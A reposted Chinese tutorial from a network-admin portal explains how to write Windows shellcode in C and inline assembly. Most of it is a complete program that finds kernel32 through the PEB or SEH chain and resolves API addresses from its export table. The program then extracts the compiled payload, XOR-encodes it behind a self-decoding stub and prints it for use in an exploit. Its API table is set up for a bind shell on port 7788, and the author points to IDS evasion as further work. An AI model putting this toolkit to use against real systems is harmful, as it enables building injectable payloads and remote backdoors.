网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > 网络攻防 > 安全文摘 > 关于Windows下ShellCode编写的一点思考  

关于Windows下ShellCode编写的一点思考

2004-04-11  作者:BitsCN整理  来源:中国网管联盟  点评 投稿 收藏

 By Hume/冷雨

  关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文
章,但大都过于专业和简练,对我这样的初学者学习起来还是有不小的难度。因此把自己
的一点想法记录下来,以慰同菜。


我不是工具论者,但合适的工具无疑会提高工作效率,而如何选取合适的工具和编写
ShellCode的目的及ShellCode的运行环境是直接相关的。ShellCode一般是通过溢出等
方式获取执行权的,并且要在执行时调用目标系统的API进行一些工作,因此就要求
ShellCode采用一种较为通用的方法获取目标系统的API函数地址,其次由于其运行地址
难以确定,因此对数据的寻址要采用动态的方法。另外,ShellCode一般是作为数据发送
给受攻击程序的,而受攻击程序一般会对数据进行过滤,这对ShellCode提出了编码的要
求,现在ShellCode用的编码方法比较简单,基本是XOR大法或其变形。

编写ShellCode有目前流行的有两种方法:用C语言编写+提取;用汇编语言编写和提取。

就个人感觉而言,用汇编语言编写和提取是最方便的,因为ShellCode代码一般比较短,要
完成的任务也相对单一,一般不涉及复杂的运算。因此可以用汇编语言编写。而且用汇编

网管联盟bitsCN@com


编写便于数据的控制、代码定位及生成的控制,在某些汇编编译器中,提供了直接生成二进制
代码功能并提供了直接包含二进制文件的伪指令,这样就可以直接编写一个makefile文件将
ShellCode代码和攻击程序分开,分别编写和调试,而无需print、拷贝、粘贴等操作,只需
在攻击程序中加入一段编码代码就可以了。这样也便于交流。

但现在网络上流行的都是C编写的ShellCode,不过最终要生成的是ShellCode代码,这就涉
及到提取C生成的汇编代码的问题。但在C中由于编译器会在函数的开始和结束生成一些附加
代码,而这些代码未必是我们需要的,还有一个问题就是要提取代码的结束在C中没有直接的
操作符获取。这些实际上也都不是很难,只要在函数的开始和结束加入特征字符串用C库函数
memcmp搜索即可定位。对ShellCode的编码可写一段程序进行,比如XOR法的。最后写一段
函数将编码后的ShellCode打印出来,复制、粘贴就可以用在攻击程序里面了。

用C编写的中心思想就是我们用C语言写代码,让编译器为我们生成二进制代码,然后在运行时
编码、打印,这样工作就完成了。

在网上找到了一个用C编写ShellCode的例子,于是亲自调试了一遍,发现了一些问题后修改

网管u家u.bitsCN.com


并加入一些自己的代码,测试通过。

其中的一些问题有:

1.KERNEL基地址的定位和API函数地址的获取

 原来的代码中采用的是暴力搜索地址空间的方法。这不算最佳方法,因为一是代码比较多,
二是要处理搜索无效页面引发的异常。现在还有两种方法可用:

一种是从PEB相关数据结构中获取,请参考绿盟月刊44期SCZ的《通过TEB/PEB枚举当前进程
空间中用户模块列表》一文。代码如下:

mov eax, fs:0x30
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov ebp, [eax + 0x08] //ebp 就是kernel32.dll的地址了

这种方法比较通用,适用于2K/XP/2003。

另外一种方法就是搜索进程的SEH链表获取Kernel32.UnhandledExceptionFilter的地址,
再由该地址对齐追溯获得Kernel的基地址,这种方法也是比较通用的,适用于9X/2K/XP/2003。
在下面的代码中我就采用了这种方法。

2.几段代码的作用

  在ShellCode提取代码中你或许会经常见到
  temp = *shellcodefnadd;
  if(temp == 0xe9)
  {
  ++shellcodefnadd; 网管下载dl.bitscn.com
  k=*(int *)shellcodefnadd;
  shellcodefnadd+=k;
  shellcodefnadd+=4;
  }
  这样的代码,其用途何在?答案在于在用Visual Studio生成调试版本的时候,用函数指针
操作获得的地址并不是指向真正的函数入口点,而是指向跳转指令JMP:

 jmp function

 上面那段代码就是处理这种情况的,如果不是为了调试方便,完全可以删去。

 还有在代码中会看到:
 jmpdecode_end

decode_start:
 popedx
 .......
decode_end:
 
 calldecode_start
Shell_start:

  之类的代码其作用是定位Shell_start处的代码,便于装配,由于在C中没有方便的手段定位
代码的长度和位置,因此采用此变通的做法。在这种方法不符合编码的要求时,可以采用动态计算
和写入的方法。不过复杂了一点罢了。

3.关于局部变量的地址顺序

  在原程序中采用了如下局部变量结构:

  FARPROC WriteFileadd; 网管u家u.bitscn@com
  FARPROC ReadFileadd;
  FARPROC PeekNamedPipeadd;
  FARPROC CloseHandleadd;
  FARPROC CreateProcessadd;
  FARPROC CreatePipeadd;
  FARPROCprocloadlib;

  FARPROC apifnadd[1];

  以为这样编译器生成的变量地址顺序就是这样的,在有些机器上也许如此,不过在我的
机器上则不然,比如下面的测试程序:

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <winioctl.h>

void shell();

void __cdecl main(int argc,char *argv[])
{
  FARPROC arg1;
  FARPROC arg2;
  FARPROC arg3;
  FARPROC arg4;
  FARPROC arg5;
  int par1;
  int par2;
  int par3;
  int par4;
  char ch;

  printf("Size of FARPROC %d\n",sizeof(FARPROC));
  printf("\n%X\n%X\n%X\n%X\n%X\n\n\t%X\n%X\n%X\n%X\n \t%X\n",
中国网管论坛bbs.bitsCN.com

  &arg1,
  &arg2,
  &arg3,
  &arg4,
  &arg5,
  &par1,
  &par2,
  &par3,
  &par4,
  &ch

  );
}
在我机器上产生的输出是:

12FF7C
12FF78
12FF74
12FF70
12FF68

  12FF6C
12FF64
12FF60
12FF5C
  12FF58

这证实了局部变量的实际地址并不是完全按我们自己定义排列的。因此原来ShellCode中采用的
直接使用函数名的方法就可靠了。因此我采用了其它的方法,C提供的Enum关键字使得这项
工作变得容易,详见下面的代码。

4.more

关于变形ShellCode躲避IDS检测,以及编码方法等需进一步研究。

5.代码

  可见,用C编写ShellCode需要对代码生成及C编译器行为有更多了解。有些地方处理起来也
不是很省力。不过一旦模板写成,以后写起来或写复杂ShellCode就省力多了。
  增加API时只要在相应的.dll后增加函数名称项(如果str中还没有相应的dll,增加之)并
网管网www.bitscn.com

同步更新Enum的索引即可。调用API时直接使用:
 
  API[_APINAME](param,....param);

  即可。

  如果没注释掉有#defineDEBUG 1的话,下面代码编译后运行即可对ShellCode进行调试,
下面代码将弹出一个对话框,点击确定即可结束程序。that's ALL。
-------------------------------------------
/*
  使用C语言编写通用shellcode的程序
出处:internet
修改:Hume/冷雨飘心
测试:Win2K SP4 Local

*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>

#defineDEBUG 1

//
//函数原型
//
void DecryptSc();
void ShellCodes();
void PrintSc(char *lpBuff, int buffsize);

//
//用到的部分定义
//
#defineBEGINSTRLEN0x08//开始字符串长度
#defineENDSTRLEN0x08//结束标记字符的长度
#definenop_CODE 0x90//填充字符
#definenop_LEN0x0 //ShellCode起始的填充长度

网管有家www.bitscn.net


#defineBUFFSIZE 0x20000 //输出缓冲区大小

#definesc_PORT7788//绑定端口号 0x1e6c
#definesc_BUFFSIZE0x2000//ShellCode缓冲区大小

#defineEnc_key0x7A//编码密钥

#defineMAX_Enc_Len0x400 //加密代码的最大长度 1024足够?
#defineMAX_Sc_Len 0x2000//hellCode的最大长度 8192足够?
#defineMAX_api_strlen 0x400 //APIstr字符串的长度
#defineAPI_endstr "strend"//API结尾标记字符串
#defineAPI_endstrlen0x06//标记字符串长度

#define PROC_BEGIN __asm_emit 0x90 __asm_emit 0x90 __asm_emit 0x90 __asm_emit 0x90\
 __asm_emit 0x90 __asm_emit 0x90 __asm_emit 0x90 __asm_emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{ //Kernel32
  _CreatePipe,
  _CreateProcessA,
  _CloseHandle,
  _PeekNamedPipe, 网管联盟bitsCN@com
  _ReadFile,
  _WriteFile,
  _ExitProcess,

  //WS2_32
  _socket,
  _bind,
  _listen,
  _accept,
  _send,
  _recv,
  _ioctlsocket,
  _closesocket,

  //本机测试User32
  _MessageBeep,
  _MessageBoxA,
  API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
  //shellcode中要用到的字符串
  static char ApiStr[]="\x1e\x6c" //端口地址

  //Kernel32的API函数名称
  "CreatePipe""\x0"
  "CreateProcessA""\x0"
  "CloseHandle""\x0"
  "PeekNamedPipe""\x0"
  "ReadFile""\x0" 网管有家www.bitscn.net
  "WriteFile""\x0"
  "ExitProcess""\x0"

  //其它API中用到的API
  "wsock32.dll""\x0"
  "socket""\x0"
  "bind""\x0"
  "listen""\x0"
  "accept""\x0"
  "send""\x0"
  "recv""\x0"
  "ioctlsocket""\x0"
  "closesocket""\x0"
  //本机测试
  "user32.dll""\x0"
  "MessageBeep""\x0"
  "MessageBoxA""\x0"

  "\x0\x0\x0\x0\x0"
  "strend";

  char*fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";//标记开始的字符串 网管u家u.bitsCN.com
  char*fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";//标记结束的字符串

  charbuff[BUFFSIZE]; //缓冲区
  charsc_buff[sc_BUFFSIZE]; //ShellCodes缓冲
  char*pDcrypt_addr,
  *pSc_addr;

  int buff_len; //缓冲长度
  int EncCode_len;//加密编码代码长度
  int Sc_len; //原始ShellCode的长度

  int i,k;
  unsignedchar ch;

  //
  //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
  //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
  //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
  //
  pDcrypt_addr=(char *)DecryptSc;

  //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
  //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

网管bitscn_com



  ch=*pDcrypt_addr;
  if (ch==0xe9)
  {
  pDcrypt_addr++;
  i=*(int *)pDcrypt_addr;
  pDcrypt_addr+=(i+4);//此时指向函数的实际地址
  }
  //找到解码代码的开始部分
  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;

  if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8); //如找到定位实际代码的开始
  else
  {
  //显示错误信息
  k=0;
  printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");
  return 0;
  }

  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;

  if (k<MAX_Enc_Len) EncCode_len=k;
  else
  {
  k=0;
  printf("\nNo End str defined in Decrypt function!Please Check....\n");
  return 0;
  }

  memset(buff,nop_CODE,BUFFSIZE); //缓冲区填充
网管联盟bitsCN_com

  memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);//把DecryptSc代码复制进buff

  //
  //处理ShellCode代码,如果需要定位到代码的开始
  //
  pSc_addr=(char *)ShellCodes; //shellcode的地址

  //调试状态下的函数地址处理,便于调试
  ch=*pSc_addr;
  if (ch==0xe9)
  {
  pSc_addr++;
  i=*(int *)pSc_addr;
  pSc_addr+=(i+4);//此时指向函数的实际地址
  }

  //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
  /*
  for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;
  if (k<MAX_Enc_Len) pSc_addr+=(k+8); //如找到定位实际代码的开始
  */

  //找到shellcode的结尾及长度
  for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;
  if (k<MAX_Sc_Len) Sc_len=k;
  else
  {
  k=0;
  printf("\nNo End str defined in ShellCodes function!Please Check....\n");

网管u家bitscn.net


  return 0;
  }


  //把shellcode代码复制进sc_buff
  memcpy(sc_buff,pSc_addr,Sc_len);

  //把字符串拷贝在shellcode的结尾
  for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;
  if(i>=MAX_api_strlen)
  {
  printf("\nNo End str defined in API strings!Please Check....\n");
  return 0;
  }
  memcpy(sc_buff+k,ApiStr,i);

  Sc_len+=i;//增加shellcode的长度

  //
  //对shellcode进行编码算法简单,可根据需要改变
  //
  k=EncCode_len+nop_LEN;//定位缓冲区应存放ShellCode地址的开始

  for(i=0;i<Sc_len;++i){

 ch=sc_buff[i]^Enc_key;
 //对一些可能造成shellcode失效的字符进行替换
 if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
 {
  buff[k]='0';
  ++k;
网管网www_bitscn_com

  ch+=0x31;
 }
 //把编码过的shellcode放在DecryptSc代码后面
 buff[k]=ch;
 ++k;
  }

  //shellcode的总长度
  buff_len=k;

  //打印出shellcode
  PrintSc(buff,buff_len);
  //buff[buff_len]=0;
  //printf("%s",buff);

#ifdef DEBUG
  _asm{
  lea eax,buff
  jmp eax
  ret
  }
#endif

  return0;
}

//解码shellcode的代码
voidDecryptSc()
{
 __asm{

/////////////////////////
//定义开始标志
/////////////////////////
  PROC_BEGIN//C macro to begin proc

  jmp next
getEncCodeAddr:
  pop edi
  pushedi
  pop esi
  xor ecx,ecx
Decrypt_lop:
  lodsb
  cmpal,cl
  jz shell
网管有家www.bitscn.net

  cmpal,0x30//判断是否为特殊字符
  jz special_char_clean
store:
  xoral,Enc_key
  stosb
  jmpDecrypt_lop
special_char_clean:
  lodsb
  sub al,0x31
  jmp store
next:
  callgetEncCodeAddr
  //其余真正加密的shellcode代码会连接在此处
shell:

/////////////////////////
//定义结束标志
/////////////////////////
  PROC_END//C macro to end proc

  }
}

//
//shellcode代码
//
void ShellCodes()
{
  //API低址数组
  FARPROC API[API_num];


  //自己获取的API地址
  FARPROC GetProcAddr;
  FARPROCLoadLib;

  HANDLEhKrnl32;
  HANDLElibhandle;

  char*ApiStr_addr,*p;
 
  int k; 网管论坛bbs_bitsCN_com
  u_short shellcodeport;

  //测试用变量
  char*testAddr;

/*
  STARTUPINFO siinfo;
  SOCKETlistenFD,clientFD;
  structsockaddr_in server;
  int iAddrSize = sizeof(server);
  int lBytesRead;
  PROCESS_INFORMATION ProcessInformation;
  HANDLEhReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
  SECURITY_ATTRIBUTES sa;

*/


_asm {
  jmplocate_addr0
getApiStr_addr:
  popApiStr_addr

  //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
  //以后就可以方便地获取任何API的地址了

  //保护寄存器
  pushad

  xor esi,esi
  lodsdword ptr fs:[esi]
 
Search_Krnl32_lop:
  inc eax
  jeKrnl32_Base_Ok
  dec eax
网管朋友网www_bitscn_net

  xchgesi,eax
  LODSD
  jmp Search_Krnl32_lop
Krnl32_Base_Ok:

  LODSD
  ;compare if PE_hdr
  xchgesi,eax
  find_pe_header:
  dec esi
  xor si,si ;kernel32 is 64kb align
  mov eax,[esi]
  add ax,-'ZM';
  jne find_pe_header
  mov edi,[esi+3ch] ;.e_lfanew
  mov eax,[esi+edi]
  add eax,-'EP' ;anti heuristic change this if you are using MASM etc.
  jne find_pe_header
 
  push esi
  ;esi=VA Kernel32.BASE
  ;edi=RVA K32.pehdr
  mov ebx,esi
  mov edi,[ebx+edi+78h];peh.DataDirectory

网管u家u.bitscn@com


 
  pushedi
  pushesi

  mov eax,[ebx+edi+20h];peexc.AddressOfNames
  mov edx,[ebx+edi+24h];peexc.AddressOfNameOrdinals
  call__getProcAddr
  _emit 0x47
  _emit 0x65
  _emit 0x74
  _emit 0x50
  _emit 0x72
  _emit 0x6F
  _emit 0x63
  _emit 0x41
  _emit 0x64
  _emit 0x64
  _emit 0x72
  _emit 0x65
  _emit 0x73
  _emit 0x73
  _emit 0x0
  //db "GetProcAddress",0
__getProcAddr:
  pop edi
  mov ecx,15
  sub eax,4
next_:
  add eax,4
  add edi,ecx
  sub edi,15
  mov esi,[ebx+eax] 网管联盟bitsCN@com
  add esi,ebx
  mov ecx,15
  repzcmpsb
  jnz next_

  pop esi
  pop edi

  sub eax,[ebx+edi+20h];peexc.AddressOfNames
  shr eax,1
  add edx,ebx
  movzx eax,word ptr [edx+eax]
  add esi,[ebx+edi+1ch] ;peexc.AddressOfFunctions
  add ebx,[esi+eax*4] ;ebx=Kernel32.GetProcAddress.addr
  ;use GetProcAddress and hModule to get other func
  pop esi ;esi=kernel32 Base

  mov [hKrnl32],esi //保存
  mov [GetProcAddr],ebx //保存

  call_getLoadLib
  _emit 0x4C
  _emit 0x6F
  _emit 0x61
  _emit 0x64
  _emit 0x4C
  _emit 0x69

网管有家www.bitscn.net


  _emit 0x62
  _emit 0x72
  _emit 0x61
  _emit 0x72
  _emit 0x79
  _emit 0x41
  _emit 0x0
  //db"LoadLibraryA",0
 
_getLoadLib:
  pushesi
  callebx
  mov [LoadLib],eax

  //恢复寄存器,避免更多问题
  popad
  }

 //取出定义的端口地址
 shellcodeport=*(u_short *)ApiStr_addr;
 ApiStr_addr+=2;
 
 ////////////////////////////////测试用
  testAddr=ApiStr_addr;
 ////////////////////////////////////

 //利用GetProcAddress来获得shellcode中所用到的API地址

 libhandle=hKrnl32;
 p=ApiStr_addr;

 k=0;
 ///*
 while ( *((unsigned int *)p) != 0)
 {
 ApiStr_addr=p;
 while(*p) p++; //前进到下一个字符串 网管bitscn_com

 if (*( (unsigned int *)(p-4))=='lld.')
 {
 libhandle=(HANDLE)LoadLib(ApiStr_addr);//若为DLL则加载DLL
 }
 else
 {
 API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
 k++;
 }
 
 ApiStr_addr=++p; //更新指针前进一个字符位置
 
 }
 
 //*/

///////////////////////////////////////////////////////////////////////////
// 下面就可以使用C语言来编写真正实现功能的shellcode了//
///////////////////////////////////////////////////////////////////////////
//
//简单测试几个API看是否复合要求
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///////////////////////////////////////////////////////////////////////////
// shellcode功能部分结束 //
///////////////////////////////////////////////////////////////////////////

网管u家u.bitscn@com



//死循环
die:
  goto die;
__asm
  {
locate_addr0:
 call getApiStr_addr//5 bytes
//真正的字符串数据要连接在此处
 



/////////////////////////
//定义结束标志
/////////////////////////
  PROC_END//C macro to end proc
 
 }
}

//
//显示打印生成的shellcode的C string格式代码
//
void PrintSc(char *lpBuff, int buffsize)
{
  int i,j;
  char *p;
  char msg[4];
  for(i=0;i<buffsize;i++)
  {
  if((i%16)==0)
  if(i!=0)
  printf("\"\n\"");
  else
  printf("\"");
  sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
  for( p = msg, j=0; j < 4; p++, j++ )
  {
  if(isupper(*p))
  printf("%c", _tolower(*p)); 网管网www_bitscn_com
  else
  printf("%c", p[0]);
  }
  }
  printf("\";\n/*Shell total are %d bytes */\n",buffsize);
}
TAGs一点   思考   编写   关于   代码   地址   ShellCode   x0   esi    
 上一篇:解析Elf文件DT_RPATH后门   下一篇:基于P2P思想的QQ蠕虫的原理与防治
关于Windows下ShellCode编写的一点思考 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: